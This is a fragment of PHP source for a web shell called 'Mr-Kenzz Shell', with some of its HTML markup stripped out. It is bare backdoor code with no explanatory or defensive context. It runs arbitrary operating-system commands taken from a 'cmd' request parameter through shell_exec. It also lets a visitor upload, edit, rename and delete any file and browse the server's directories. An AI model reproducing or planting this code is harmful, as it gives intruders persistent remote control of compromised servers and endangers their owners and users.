LOGIN

'; exit; } $path = isset($_GET['d']) ? realpath($_GET['d']) : getcwd(); if (!$path) $path = getcwd(); function h($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); } if (isset($_GET['del'])) { $f = $_GET['del']; if (realpath($f) !== __FILE__) @unlink($f); header("Location: ?d=" . urlencode($path)); exit; } if (isset($_POST['newfolder'])) { @mkdir($path . "/" . $_POST['newfolder']); header("Location: ?d=" . urlencode($path)); exit; } if (isset($_POST['upload'])) { $tmp = $_FILES['file']['tmp_name']; $name = basename($_FILES['file']['name']); if (is_uploaded_file($tmp)) move_uploaded_file($tmp, $path . "/" . $name); header("Location: ?d=" . urlencode($path)); exit; } if (isset($_POST['editfile'])) { file_put_contents($_POST['file'], $_POST['content']); header("Location: ?d=" . urlencode($path)); exit; } if (isset($_GET['r']) && isset($_GET['new'])) { @rename($_GET['r'], dirname($_GET['r']) . "/" . $_GET['new']); header("Location: ?d=" . urlencode($path)); exit; } echo 'Mr-Kenzz Shell'; echo '

Mr-Kenzz Shell

[ Logout ]
'; echo '
'; echo '
COMMAND
'; if (isset($_GET['cmd'])) echo '
' . h(shell_exec($_GET['cmd'] . " 2>&1")) . '
'; echo '
'; echo '
UPLOAD
'; echo '
FILE LIST
'; if ($path !== '/') echo ''; $files = @scandir($path); if ($files) { foreach ($files as $f) { if ($f === '.' || $f === '..') continue; $fp = $path . '/' . $f; echo ''; } } echo '
..
'; if (is_dir($fp)) echo '' . h($f) . ''; else echo '' . h($f) . ''; echo '
'; echo '
'; ?>